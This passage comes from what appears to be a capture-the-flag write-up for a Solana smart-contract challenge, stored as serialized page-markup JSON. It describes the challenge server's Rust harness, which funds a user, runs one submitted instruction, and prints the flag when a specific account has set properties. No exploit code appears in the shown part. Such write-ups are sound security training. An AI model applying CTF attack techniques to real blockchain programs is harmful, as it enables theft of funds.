},{"type":20,"tag":315,"props":40239,"children":40240},{"style":328},[40241],{"type":26,"value":13826},{"type":20,"tag":315,"props":40243,"children":40244},{"class":317,"line":513},[40245,40249,40253,40257],{"type":20,"tag":315,"props":40246,"children":40247},{"style":345},[40248],{"type":26,"value":39300},{"type":20,"tag":315,"props":40250,"children":40251},{"style":328},[40252],{"type":26,"value":1049},{"type":20,"tag":315,"props":40254,"children":40255},{"style":635},[40256],{"type":26,"value":11032},{"type":20,"tag":315,"props":40258,"children":40259},{"style":328},[40260],{"type":26,"value":2214},{"type":20,"tag":315,"props":40262,"children":40263},{"class":317,"line":521},[40264],{"type":20,"tag":315,"props":40265,"children":40266},{"style":328},[40267],{"type":26,"value":1736},{"type":20,"tag":315,"props":40269,"children":40270},{"class":317,"line":552},[40271],{"type":20,"tag":315,"props":40272,"children":40273},{"style":328},[40274],{"type":26,"value":577},{"type":20,"tag":219,"props":40276,"children":40278},{"id":40277},"test-environment",[40279],{"type":26,"value":40280},"Test Environment",{"type":20,"tag":29,"props":40282,"children":40283},{},[40284],{"type":26,"value":40285},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":20,"tag":29,"props":40287,"children":40288},{},[40289,40291,40297],{"type":26,"value":40290},"When you connect to the server through a tcp connection, ",{"type":20,"tag":119,"props":40292,"children":40294},{"className":40293},[],[40295],{"type":26,"value":40296},"framework/src/main.rs::handle_connection",{"type":26,"value":40298}," gets executed, which does the following:",{"type":20,"tag":68,"props":40300,"children":40301},{},[40302],{"type":20,"tag":72,"props":40303,"children":40304},{},[40305],{"type":26,"value":40306},"Creates a new Solana local node",{"type":20,"tag":305,"props":40308,"children":40310},{"className":1360,"code":40309,"language":1359,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[40311],{"type":20,"tag":119,"props":40312,"children":40313},{"__ignoreMap":7},[40314,40395,40471],{"type":20,"tag":315,"props":40315,"children":40316},{"class":317,"line":318},[40317,40321,40325,40330,40334,40339,40343,40348,40352,40357,40361,40366,40370,40374,40378,40383,40387,40391],{"type":20,"tag":315,"props":40318,"children":40319},{"style":541},[40320],{"type":26,"value":10188},{"type":20,"tag":315,"props":40322,"children":40323},{"style":541},[40324],{"type":26,"value":1385},{"type":20,"tag":315,"props":40326,"children":40327},{"style":635},[40328],{"type":26,"value":40329}," builder",{"type":20,"tag":315,"props":40331,"children":40332},{"style":334},[40333],{"type":26,"value":1395},{"type":20,"tag":315,"props":40335,"children":40336},{"style":322},[40337],{"type":26,"value":40338}," ChallengeBuilder",{"type":20,"tag":315,"props":40340,"children":40341},{"style":334},[40342],{"type":26,"value":1861},{"type":20,"tag":315,"props":40344,"children":40345},{"style":345},[40346],{"type":26,"value":40347},"try_from",{"type":20,"tag":315,"props":40349,"children":40350},{"style":328},[40351],{"type":26,"value":1049},{"type":20,"tag":315,"props":40353,"children":40354},{"style":635},[40355],{"type":26,"value":40356},"socket",{"type":20,"tag":315,"props":40358,"children":40359},{"style":334},[40360],{"type":26,"value":61},{"type":20,"tag":315,"props":40362,"children":40363},{"style":345},[40364],{"type":26,"value":40365},"try_clone",{"type":20,"tag":315,"props":40367,"children":40368},{"style":328},[40369],{"type":26,"value":12280},{"type":20,"tag":315,"props":40371,"children":40372},{"style":334},[40373],{"type":26,"value":61},{"type":20,"tag":315,"props":40375,"children":40376},{"style":345},[40377],{"type":26,"value":2046},{"type":20,"tag":315,"props":40379,"children":40380},{"style":328},[40381],{"type":26,"value":40382},"())",{"type":20,"tag":315,"props":40384,"children":40385},{"style":334},[40386],{"type":26,"value":61},{"type":20,"tag":315,"props":40388,"children":40389},{"style":345},[40390],{"type":26,"value":2046},{"type":20,"tag":315,"props":40392,"children":40393},{"style":328},[40394],{"type":26,"value":568},{"type":20,"tag":315,"props":40396,"children":40397},{"class":317,"line":356},[40398,40403,40407,40412,40416,40421,40425,40430,40434,40439,40444,40448,40453,40457,40462,40466],{"type":20,"tag":315,"props":40399,"children":40400},{"style":345},[40401],{"type":26,"value":40402},"assert!",{"type":20,"tag":315,"props":40404,"children":40405},{"style":328},[40406],{"type":26,"value":1049},{"type":20,"tag":315,"props":40408,"children":40409},{"style":635},[40410],{"type":26,"value":40411},"builder",{"type":20,"tag":315,"props":40413,"children":40414},{"style":334},[40415],{"type":26,"value":61},{"type":20,"tag":315,"props":40417,"children":40418},{"style":345},[40419],{"type":26,"value":40420},"add_program",{"type":20,"tag":315,"props":40422,"children":40423},{"style":328},[40424],{"type":26,"value":1049},{"type":20,"tag":315,"props":40426,"children":40427},{"style":2652},[40428],{"type":26,"value":40429},"\"/path/to/chall.so\"",{"type":20,"tag":315,"props":40431,"children":40432},{"style":328},[40433],{"type":26,"value":44},{"type":20,"tag":315,"props":40435,"children":40436},{"style":322},[40437],{"type":26,"value":40438},"Some",{"type":20,"tag":315,"props":40440,"children":40441},{"style":328},[40442],{"type":26,"value":40443},"(chall",{"type":20,"tag":315,"props":40445,"children":40446},{"style":334},[40447],{"type":26,"value":1861},{"type":20,"tag":315,"props":40449,"children":40450},{"style":328},[40451],{"type":26,"value":40452},"ID)) ",{"type":20,"tag":315,"props":40454,"children":40455},{"style":334},[40456],{"type":26,"value":538},{"type":20,"tag":315,"props":40458,"children":40459},{"style":328},[40460],{"type":26,"value":40461}," chall",{"type":20,"tag":315,"props":40463,"children":40464},{"style":334},[40465],{"type":26,"value":1861},{"type":20,"tag":315,"props":40467,"children":40468},{"style":328},[40469],{"type":26,"value":40470},"ID);\n",{"type":20,"tag":315,"props":40472,"children":40473},{"class":317,"line":365},[40474,40478,40482,40486,40490,40494,40498,40503,40507,40511,40515],{"type":20,"tag":315,"props":40475,"children":40476},{"style":541},[40477],{"type":26,"value":10188},{"type":20,"tag":315,"props":40479,"children":40480},{"style":541},[40481],{"type":26,"value":1385},{"type":20,"tag":315,"props":40483,"children":40484},{"style":635},[40485],{"type":26,"value":40461},{"type":20,"tag":315,"props":40487,"children":40488},{"style":334},[40489],{"type":26,"value":1395},{"type":20,"tag":315,"props":40491,"children":40492},{"style":635},[40493],{"type":26,"value":40329},{"type":20,"tag":315,"props":40495,"children":40496},{"style":334},[40497],{"type":26,"value":61},{"type":20,"tag":315,"props":40499,"children":40500},{"style":345},[40501],{"type":26,"value":40502},"build",{"type":20,"tag":315,"props":40504,"children":40505},{"style":328},[40506],{"type":26,"value":12280},{"type":20,"tag":315,"props":40508,"children":40509},{"style":334},[40510],{"type":26,"value":61},{"type":20,"tag":315,"props":40512,"children":40513},{"style":525},[40514],{"type":26,"value":31330},{"type":20,"tag":315,"props":40516,"children":40517},{"style":328},[40518],{"type":26,"value":1405},{"type":20,"tag":68,"props":40520,"children":40521},{"start":356},[40522],{"type":20,"tag":72,"props":40523,"children":40524},{},[40525],{"type":26,"value":40526},"Funds the user account with 100 SOL",{"type":20,"tag":305,"props":40528,"children":40530},{"className":1360,"code":40529,"language":1359,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[40531],{"type":20,"tag":119,"props":40532,"children":40533},{"__ignoreMap":7},[40534,40567,40599,40606,40648,40680,40687,40695,40759,40778,40785],{"type":20,"tag":315,"props":40535,"children":40536},{"class":317,"line":318},[40537,40541,40546,40550,40555,40559,40563],{"type":20,"tag":315,"props":40538,"children":40539},{"style":541},[40540],{"type":26,"value":10188},{"type":20,"tag":315,"props":40542,"children":40543},{"style":635},[40544],{"type":26,"value":40545}," user_keypair",{"type":20,"tag":315,"props":40547,"children":40548},{"style":334},[40549],{"type":26,"value":1395},{"type":20,"tag":315,"props":40551,"children":40552},{"style":322},[40553],{"type":26,"value":40554}," Keypair",{"type":20,"tag":315,"props":40556,"children":40557},{"style":334},[40558],{"type":26,"value":1861},{"type":20,"tag":315,"props":40560,"children":40561},{"style":345},[40562],{"type":26,"value":13523},{"type":20,"tag":315,"props":40564,"children":40565},{"style":328},[40566],{"type":26,"value":568},{"type":20,"tag":315,"props":40568,"children":40569},{"class":317,"line":356},[40570,40574,40579,40583,40587,40591,40595],{"type":20,"tag":315,"props":40571,"children":40572},{"style":541},[40573],{"type":26,"value":10188},{"type":20,"tag":315,"props":40575,"children":40576},{"style":635},[40577],{"type":26,"value":40578}," user",{"type":20,"tag":315,"props":40580,"children":40581},{"style":334},[40582],{"type":26,"value":1395},{"type":20,"tag":315,"props":40584,"children":40585},{"style":635},[40586],{"type":26,"value":40545},{"type":20,"tag":315,"props":40588,"children":40589},{"style":334},[40590],{"type":26,"value":61},{"type":20,"tag":315,"props":40592,"children":40593},{"style":345},[40594],{"type":26,"value":1924},{"type":20,"tag":315,"props":40596,"children":40597},{"style":328},[40598],{"type":26,"value":568},{"type":20,"tag":315,"props":40600,"children":40601},{"class":317,"line":365},[40602],{"type":20,"tag":315,"props":40603,"children":40604},{"emptyLinePlaceholder":15},[40605],{"type":26,"value":427},{"type":20,"tag":315,"props":40607,"children":40608},{"class":317,"line":374},[40609,40613,40618,40622,40626,40631,40635,40639,40643],{"type":20,"tag":315,"props":40610,"children":40611},{"style":541},[40612],{"type":26,"value":10188},{"type":20,"tag":315,"props":40614,"children":40615},{"style":635},[40616],{"type":26,"value":40617}," payer_keypair",{"type":20,"tag":315,"props":40619,"children":40620},{"style":334},[40621],{"type":26,"value":1395},{"type":20,"tag":315,"props":40623,"children":40624},{"style":334},[40625],{"type":26,"value":5536},{"type":20,"tag":315,"props":40627,"children":40628},{"style":635},[40629],{"type":26,"value":40630},"chall",{"type":20,"tag":315,"props":40632,"children":40633},{"style":334},[40634],{"type":26,"value":61},{"type":20,"tag":315,"props":40636,"children":40637},{"style":328},[40638],{"type":26,"value":18684},{"type":20,"tag":315,"props":40640,"children":40641},{"style":334},[40642],{"type":26,"value":61},{"type":20,"tag":315,"props":40644,"children":40645},{"style":328},[40646],{"type":26,"value":40647},"payer;\n",{"type":20,"tag":315,"props":40649,"children":40650},{"class":317,"line":383},[40651,40655,40660,40664,40668,40672,40676],{"type":20,"tag":315,"props":40652,"children":40653},{"style":541},[40654],{"type":26,"value":10188},{"type":20,"tag":315,"props":40656,"children":40657},{"style":635},[40658],{"type":26,"value":40659}," payer",{"type":20,"tag":315,"props":40661,"children":40662},{"style":334},[40663],{"type":26,"value":1395},{"type":20,"tag":315,"props":40665,"children":40666},{"style":635},[40667],{"type":26,"value":40617},{"type":20,"tag":315,"props":40669,"children":40670},{"style":334},[40671],{"type":26,"value":61},{"type":20,"tag":315,"props":40673,"children":40674},{"style":345},[40675],{"type":26,"value":1924},{"type":20,"tag":315,"props":40677,"children":40678},{"style":328},[40679],{"type":26,"value":568},{"type":20,"tag":315,"props":40681,"children":40682},{"class":317,"line":407},[40683],{"type":20,"tag":315,"props":40684,"children":40685},{"emptyLinePlaceholder":15},[40686],{"type":26,"value":427},{"type":20,"tag":315,"props":40688,"children":40689},{"class":317,"line":421},[40690],{"type":20,"tag":315,"props":40691,"children":40692},{"style":635},[40693],{"type":26,"value":40694},"chall\n",{"type":20,"tag":315,"props":40696,"children":40697},{"class":317,"line":430},[40698,40703,40708,40713,40717,40721,40725,40729,40734,40738,40742,40746,40750,40755],{"type":20,"tag":315,"props":40699,"children":40700},{"style":334},[40701],{"type":26,"value":40702}," .",{"type":20,"tag":315,"props":40704,"children":40705},{"style":345},[40706],{"type":26,"value":40707},"run_ix",{"type":20,"tag":315,"props":40709,"children":40710},{"style":328},[40711],{"type":26,"value":40712},"(system_instruction",{"type":20,"tag":315,"props":40714,"children":40715},{"style":334},[40716],{"type":26,"value":1861},{"type":20,"tag":315,"props":40718,"children":40719},{"style":345},[40720],{"type":26,"value":30538},{"type":20,"tag":315,"props":40722,"children":40723},{"style":328},[40724],{"type":26,"value":1049},{"type":20,"tag":315,"props":40726,"children":40727},{"style":334},[40728],{"type":26,"value":1490},{"type":20,"tag":315,"props":40730,"children":40731},{"style":635},[40732],{"type":26,"value":40733},"payer",{"type":20,"tag":315,"props":40735,"children":40736},{"style":328},[40737],{"type":26,"value":44},{"type":20,"tag":315,"props":40739,"children":40740},{"style":334},[40741],{"type":26,"value":1490},{"type":20,"tag":315,"props":40743,"children":40744},{"style":635},[40745],{"type":26,"value":18636},{"type":20,"tag":315,"props":40747,"children":40748},{"style":328},[40749],{"type":26,"value":44},{"type":20,"tag":315,"props":40751,"children":40752},{"style":765},[40753],{"type":26,"value":40754},"100_000_000_000",{"type":20,"tag":315,"props":40756,"children":40757},{"style":328},[40758],{"type":26,"value":18116},{"type":20,"tag":315,"props":40760,"children":40761},{"class":317,"line":453},[40762,40766,40770,40774],{"type":20,"tag":315,"props":40763,"children":40764},{"style":334},[40765],{"type":26,"value":40702},{"type":20,"tag":315,"props":40767,"children":40768},{"style":525},[40769],{"type":26,"value":31330},{"type":20,"tag":315,"props":40771,"children":40772},{"style":334},[40773],{"type":26,"value":1537},{"type":20,"tag":315,"props":40775,"children":40776},{"style":328},[40777],{"type":26,"value":1405},{"type":20,"tag":315,"props":40779,"children":40780},{"class":317,"line":486},[40781],{"type":20,"tag":315,"props":40782,"children":40783},{"emptyLinePlaceholder":15},[40784],{"type":26,"value":427},{"type":20,"tag":315,"props":40786,"children":40787},{"class":317,"line":499},[40788,40793,40797,40801,40805,40810,40814,40818,40822,40826],{"type":20,"tag":315,"props":40789,"children":40790},{"style":345},[40791],{"type":26,"value":40792},"writeln!",{"type":20,"tag":315,"props":40794,"children":40795},{"style":328},[40796],{"type":26,"value":1049},{"type":20,"tag":315,"props":40798,"children":40799},{"style":635},[40800],{"type":26,"value":40356},{"type":20,"tag":315,"props":40802,"children":40803},{"style":328},[40804],{"type":26,"value":44},{"type":20,"tag":315,"props":40806,"children":40807},{"style":2652},[40808],{"type":26,"value":40809},"\"user: {}\"",{"type":20,"tag":315,"props":40811,"children":40812},{"style":328},[40813],{"type":26,"value":44},{"type":20,"tag":315,"props":40815,"children":40816},{"style":635},[40817],{"type":26,"value":18636},{"type":20,"tag":315,"props":40819,"children":40820},{"style":328},[40821],{"type":26,"value":1509},{"type":20,"tag":315,"props":40823,"children":40824},{"style":334},[40825],{"type":26,"value":1537},{"type":20,"tag":315,"props":40827,"children":40828},{"style":328},[40829],{"type":26,"value":1405},{"type":20,"tag":68,"props":40831,"children":40832},{"start":365},[40833],{"type":20,"tag":72,"props":40834,"children":40835},{},[40836],{"type":26,"value":40837},"Reads an instruction from the tcp stream and executes it",{"type":20,"tag":305,"props":40839,"children":40841},{"className":1360,"code":40840,"language":1359,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[40842],{"type":20,"tag":119,"props":40843,"children":40844},{"__ignoreMap":7},[40845,40895],{"type":20,"tag":315,"props":40846,"children":40847},{"class":317,"line":318},[40848,40852,40857,40861,40865,40869,40874,40878,40882,40887,40891],{"type":20,"tag":315,"props":40849,"children":40850},{"style":541},[40851],{"type":26,"value":10188},{"type":20,"tag":315,"props":40853,"children":40854},{"style":635},[40855],{"type":26,"value":40856}," solve_ix",{"type":20,"tag":315,"props":40858,"children":40859},{"style":334},[40860],{"type":26,"value":1395},{"type":20,"tag":315,"props":40862,"children":40863},{"style":635},[40864],{"type":26,"value":40461},{"type":20,"tag":315,"props":40866,"children":40867},{"style":334},[40868],{"type":26,"value":61},{"type":20,"tag":315,"props":40870,"children":40871},{"style":345},[40872],{"type":26,"value":40873},"read_instruction",{"type":20,"tag":315,"props":40875,"children":40876},{"style":328},[40877],{"type":26,"value":40443},{"type":20,"tag":315,"props":40879,"children":40880},{"style":334},[40881],{"type":26,"value":1861},{"type":20,"tag":315,"props":40883,"children":40884},{"style":328},[40885],{"type":26,"value":40886},"ID)",{"type":20,"tag":315,"props":40888,"children":40889},{"style":334},[40890],{"type":26,"value":1537},{"type":20,"tag":315,"props":40892,"children":40893},{"style":328},[40894],{"type":26,"value":1405},{"type":20,"tag":315,"props":40896,"children":40897},{"class":317,"line":356},[40898,40902,40906,40911,40915,40919,40923,40928,40932,40936,40940,40944,40949,40953,40957,40961,40965,40969,40973,40977],{"type":20,"tag":315,"props":40899,"children":40900},{"style":635},[40901],{"type":26,"value":40630},{"type":20,"tag":315,"props":40903,"children":40904},{"style":334},[40905],{"type":26,"value":61},{"type":20,"tag":315,"props":40907,"children":40908},{"style":345},[40909],{"type":26,"value":40910},"run_ixs_full",{"type":20,"tag":315,"props":40912,"children":40913},{"style":328},[40914],{"type":26,"value":1049},{"type":20,"tag":315,"props":40916,"children":40917},{"style":334},[40918],{"type":26,"value":1490},{"type":20,"tag":315,"props":40920,"children":40921},{"style":328},[40922],{"type":26,"value":2117},{"type":20,"tag":315,"props":40924,"children":40925},{"style":635},[40926],{"type":26,"value":40927},"solve_ix",{"type":20,"tag":315,"props":40929,"children":40930},{"style":328},[40931],{"type":26,"value":21465},{"type":20,"tag":315,"props":40933,"children":40934},{"style":334},[40935],{"type":26,"value":1490},{"type":20,"tag":315,"props":40937,"children":40938},{"style":328},[40939],{"type":26,"value":2117},{"type":20,"tag":315,"props":40941,"children":40942},{"style":334},[40943],{"type":26,"value":1490},{"type":20,"tag":315,"props":40945,"children":40946},{"style":635},[40947],{"type":26,"value":40948},"user_keypair",{"type":20,"tag":315,"props":40950,"children":40951},{"style":328},[40952],{"type":26,"value":21465},{"type":20,"tag":315,"props":40954,"children":40955},{"style":334},[40956],{"type":26,"value":1490},{"type":20,"tag":315,"props":40958,"children":40959},{"style":635},[40960],{"type":26,"value":18636},{"type":20,"tag":315,"props":40962,"children":40963},{"style":328},[40964],{"type":26,"value":1509},{"type":20,"tag":315,"props":40966,"children":40967},{"style":334},[40968],{"type":26,"value":61},{"type":20,"tag":315,"props":40970,"children":40971},{"style":525},[40972],{"type":26,"value":31330},{"type":20,"tag":315,"props":40974,"children":40975},{"style":334},[40976],{"type":26,"value":1537},{"type":20,"tag":315,"props":40978,"children":40979},{"style":328},[40980],{"type":26,"value":1405},{"type":20,"tag":68,"props":40982,"children":40983},{"start":374},[40984],{"type":20,"tag":72,"props":40985,"children":40986},{},[40987],{"type":26,"value":40988},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":20,"tag":305,"props":40990,"children":40992},{"className":1360,"code":40991,"language":1359,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n if acct.data.len() == 0x1337\n && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n {\n writeln!(socket, \"congrats!\")?;\n if let Ok(flag) = env::var(\"FLAG\") {\n writeln!(socket, \"flag: {:?}\", flag)?;\n } else {\n writeln!(socket, \"flag not found, please contact admin\")?;\n }\n }\n}\n",[40993],{"type":20,"tag":119,"props":40994,"children":40995},{"__ignoreMap":7},[40996,41080,41171,41212,41296,41303,41340,41397,41442,41457,41493,41500,41507],{"type":20,"tag":315,"props":40997,"children":40998},{"class":317,"line":318},[40999,41003,41008,41012,41016,41020,41025,41029,41033,41037,41042,41046,41051,41056,41060,41064,41068,41072,41076],{"type":20,"tag":315,"props":41000,"children":41001},{"style":541},[41002],{"type":26,"value":10188},{"type":20,"tag":315,"props":41004,"children":41005},{"style":635},[41006],{"type":26,"value":41007}," flag",{"type":20,"tag":315,"props":41009,"children":41010},{"style":334},[41011],{"type":26,"value":1395},{"type":20,"tag":315,"props":41013,"children":41014},{"style":322},[41015],{"type":26,"value":19261},{"type":20,"tag":315,"props":41017,"children":41018},{"style":334},[41019],{"type":26,"value":1861},{"type":20,"tag":315,"props":41021,"children":41022},{"style":345},[41023],{"type":26,"value":41024},"create_program_address",{"type":20,"tag":315,"props":41026,"children":41027},{"style":328},[41028],{"type":26,"value":1049},{"type":20,"tag":315,"props":41030,"children":41031},{"style":334},[41032],{"type":26,"value":1490},{"type":20,"tag":315,"props":41034,"children":41035},{"style":328},[41036],{"type":26,"value":2117},{"type":20,"tag":315,"props":41038,"children":41039},{"style":2652},[41040],{"type":26,"value":41041},"\"FLAG\"",{"type":20,"tag":315,"props":41043,"children":41044},{"style":334},[41045],{"type":26,"value":61},{"type":20,"tag":315,"props":41047,"children":41048},{"style":345},[41049],{"type":26,"value":41050},"as_ref",{"type":20,"tag":315,"props":41052,"children":41053},{"style":328},[41054],{"type":26,"value":41055},"()], ",{"type":20,"tag":315,"props":41057,"children":41058},{"style":334},[41059],{"type":26,"value":1490},{"type":20,"tag":315,"props":41061,"children":41062},{"style":328},[41063],{"type":26,"value":40630},{"type":20,"tag":315,"props":41065,"children":41066},{"style":334},[41067],{"type":26,"value":1861},{"type":20,"tag":315,"props":41069,"children":41070},{"style":328},[41071],{"type":26,"value":40886},{"type":20,"tag":315,"props":41073,"children":41074},{"style":334},[41075],{"type":26,"value":1537},{"type":20,"tag":315,"props":41077,"children":41078},{"style":328},[41079],{"type":26,"value":1405},{"type":20,"tag":315,"props":41081,"children":41082},{"class":317,"line":356},[41083,41087,41091,41095,41099,41104,41108,41112,41116,41120,41124,41128,41133,41137,41142,41146,41151,41155,41159,41163,41167],{"type":20,"tag":315,"props":41084,"children":41085},{"style":525},[41086],{"type":26,"value":528},{"type":20,"tag":315,"props":41088,"children":41089},{"style":541},[41090],{"type":26,"value":25721},{"type":20,"tag":315,"props":41092,"children":41093},{"style":322},[41094],{"type":26,"value":25726},{"type":20,"tag":315,"props":41096,"children":41097},{"style":328},[41098],{"type":26,"value":1049},{"type":20,"tag":315,"props":41100,"children":41101},{"style":635},[41102],{"type":26,"value":41103},"acct",{"type":20,"tag":315,"props":41105,"children":41106},{"style":328},[41107],{"type":26,"value":1468},{"type":20,"tag":315,"props":41109,"children":41110},{"style":334},[41111],{"type":26,"value":337},{"type":20,"tag":315,"props":41113,"children":41114},{"style":635},[41115],{"type":26,"value":40461},{"type":20,"tag":315,"props":41117,"children":41118},{"style":334},[41119],{"type":26,"value":61},{"type":20,"tag":315,"props":41121,"children":41122},{"style":328},[41123],{"type":26,"value":18684},{"type":20,"tag":315,"props":41125,"children":41126},{"style":334},[41127],{"type":26,"value":61},{"type":20,"tag":315,"props":41129,"children":41130},{"style":328},[41131],{"type":26,"value":41132},"banks_client",{"type":20,"tag":315,"props":41134,"children":41135},{"style":334},[41136],{"type":26,"value":61},{"type":20,"tag":315,"props":41138,"children":41139},{"style":345},[41140],{"type":26,"value":41141},"get_account",{"type":20,"tag":315,"props":41143,"children":41144},{"style":328},[41145],{"type":26,"value":1049},{"type":20,"tag":315,"props":41147,"children":41148},{"style":635},[41149],{"type":26,"value":41150},"flag",{"type":20,"tag":315,"props":41152,"children":41153},{"style":328},[41154],{"type":26,"value":1509},{"type":20,"tag":315,"props":41156,"children":41157},{"style":334},[41158],{"type":26,"value":61},{"type":20,"tag":315,"props":41160,"children":41161},{"style":525},[41162],{"type":26,"value":31330},{"type":20,"tag":315,"props":41164,"children":41165},{"style":334},[41166],{"type":26,"value":1537},{"type":20,"tag":315,"props":41168,"children":41169},{"style":328},[41170],{"type":26,"value":1092},{"type":20,"tag":315,"props":41172,"children":41173},{"class":317,"line":365},[41174,41178,41183,41187,41191,41195,41199,41203,41207],{"type":20,"tag":315,"props":41175,"children":41176},{"style":525},[41177],{"type":26,"value":10680},{"type":20,"tag":315,"props":41179,"children":41180},{"style":635},[41181],{"type":26,"value":41182}," acct",{"type":20,"tag":315,"props":41184,"children":41185},{"style":334},[41186],{"type":26,"value":61},{"type":20,"tag":315,"props":41188,"children":41189},{"style":328},[41190],{"type":26,"value":2085},{"type":20,"tag":315,"props":41192,"children":41193},{"style":334},[41194],{"type":26,"value":61},{"type":20,"tag":315,"props":41196,"children":41197},{"style":345},[41198],{"type":26,"value":7537},{"type":20,"tag":315,"props":41200,"children":41201},{"style":328},[41202],{"type":26,"value":12444},{"type":20,"tag":315,"props":41204,"children":41205},{"style":334},[41206],{"type":26,"value":538},{"type":20,"tag":315,"props":41208,"children":41209},{"style":765},[41210],{"type":26,"value":41211}," 0x1337\n",{"type":20,"tag":315,"props":41213,"children":41214},{"class":317,"line":374},[41215,41220,41224,41228,41233,41237,41241,41245,41250,41254,41258,41262,41266,41270,41274,41278,41282,41287,41291],{"type":20,"tag":315,"props":41216,"children":41217},{"style":334},[41218],{"type":26,"value":41219}," &&",{"type":20,"tag":315,"props":41221,"children":41222},{"style":322},[41223],{"type":26,"value":4253},{"type":20,"tag":315,"props":41225,"children":41226},{"style":334},[41227],{"type":26,"value":1861},{"type":20,"tag":315,"props":41229,"children":41230},{"style":345},[41231],{"type":26,"value":41232},"from_le_bytes",{"type":20,"tag":315,"props":41234,"children":41235},{"style":328},[41236],{"type":26,"value":1049},{"type":20,"tag":315,"props":41238,"children":41239},{"style":635},[41240],{"type":26,"value":41103},{"type":20,"tag":315,"props":41242,"children":41243},{"style":334},[41244],{"type":26,"value":61},{"type":20,"tag":315,"props":41246,"children":41247},{"style":328},[41248],{"type":26,"value":41249},"data[",{"type":20,"tag":315,"props":41251,"children":41252},{"style":334},[41253],{"type":26,"value":1432},{"type":20,"tag":315,"props":41255,"children":41256},{"style":765},[41257],{"type":26,"value":2469},{"type":20,"tag":315,"props":41259,"children":41260},{"style":328},[41261],{"type":26,"value":13812},{"type":20,"tag":315,"props":41263,"children":41264},{"style":334},[41265],{"type":26,"value":61},{"type":20,"tag":315,"props":41267,"children":41268},{"style":345},[41269],{"type":26,"value":24578},{"type":20,"tag":315,"props":41271,"children":41272},{"style":328},[41273],{"type":26,"value":12280},{"type":20,"tag":315,"props":41275,"children":41276},{"style":334},[41277],{"type":26,"value":61},{"type":20,"tag":315,"props":41279,"children":41280},{"style":345},[41281],{"type":26,"value":2046},{"type":20,"tag":315,"props":41283,"children":41284},{"style":328},[41285],{"type":26,"value":41286},"()) ",{"type":20,"tag":315,"props":41288,"children":41289},{"style":334},[41290],{"type":26,"value":538},{"type":20,"tag":315,"props":41292,"children":41293},{"style":765},[41294],{"type":26,"value":41295}," 0x4337\n",{"type":20,"tag":315,"props":41297,"children":41298},{"class":317,"line":383},[41299],{"type":20,"tag":315,"props":41300,"children":41301},{"style":328},[41302],{"type":26,"value":27602},{"type":20,"tag":315,"props":41304,"children":41305},{"class":317,"line":407},[41306,41311,41315,41319,41323,41328,41332,41336],{"type":20,"tag":315,"props":41307,"children":41308},{"style":345},[41309],{"type":26,"value":41310}," writeln!",{"type":20,"tag":315,"props":41312,"children":41313},{"style":328},[41314],{"type":26,"value":1049},{"type":20,"tag":315,"props":41316,"children":41317},{"style":635},[41318],{"type":26,"value":40356},{"type":20,"tag":315,"props":41320,"children":41321},{"style":328},[41322],{"type":26,"value":44},{"type":20,"tag":315,"props":41324,"children":41325},{"style":2652},[41326],{"type":26,"value":41327},"\"congrats!\"",{"type":20,"tag":315,"props":41329,"children":41330},{"style":328},[41331],{"type":26,"value":1509},{"type":20,"tag":315,"props":41333,"children":41334},{"style":334},[41335],{"type":26,"value":1537},{"type":20,"tag":315,"props":41337,"children":41338},{"style":328},[41339],{"type":26,"value":1405},{"type":20,"tag":315,"props":41341,"children":41342},{"class":317,"line":421},[41343,41347,41351,41356,41360,41364,41368,41372,41377,41381,41385,41389,41393],{"type":20,"tag":315,"props":41344,"children":41345},{"style":525},[41346],{"type":26,"value":1654},{"type":20,"tag":315,"props":41348,"children":41349},{"style":541},[41350],{"type":26,"value":25721},{"type":20,"tag":315,"props":41352,"children":41353},{"style":322},[41354],{"type":26,"value":41355}," Ok",{"type":20,"tag":315,"props":41357,"children":41358},{"style":328},[41359],{"type":26,"value":1049},{"type":20,"tag":315,"props":41361,"children":41362},{"style":635},[41363],{"type":26,"value":41150},{"type":20,"tag":315,"props":41365,"children":41366},{"style":328},[41367],{"type":26,"value":1468},{"type":20,"tag":315,"props":41369,"children":41370},{"style":334},[41371],{"type":26,"value":337},{"type":20,"tag":315,"props":41373,"children":41374},{"style":328},[41375],{"type":26,"value":41376}," env",{"type":20,"tag":315,"props":41378,"children":41379},{"style":334},[41380],{"type":26,"value":1861},{"type":20,"tag":315,"props":41382,"children":41383},{"style":345},[41384],{"type":26,"value":33462},{"type":20,"tag":315,"props":41386,"children":41387},{"style":328},[41388],{"type":26,"value":1049},{"type":20,"tag":315,"props":41390,"children":41391},{"style":2652},[41392],{"type":26,"value":41041},{"type":20,"tag":315,"props":41394,"children":41395},{"style":328},[41396],{"type":26,"value":549},{"type":20,"tag":315,"props":41398,"children":41399},{"class":317,"line":430},[41400,41405,41409,41413,41417,41422,41426,41430,41434,41438],{"type":20,"tag":315,"props":41401,"children":41402},{"style":345},[41403],{"type":26,"value":41404}," writeln!",{"type":20,"tag":315,"props":41406,"children":41407},{"style":328},[41408],{"type":26,"value":1049},{"type":20,"tag":315,"props":41410,"children":41411},{"style":635},[41412],{"type":26,"value":40356},{"type":20,"tag":315,"props":41414,"children":41415},{"style":328},[41416],{"type":26,"value":44},{"type":20,"tag":315,"props":41418,"children":41419},{"style":2652},[41420],{"type":26,"value":41421},"\"flag: 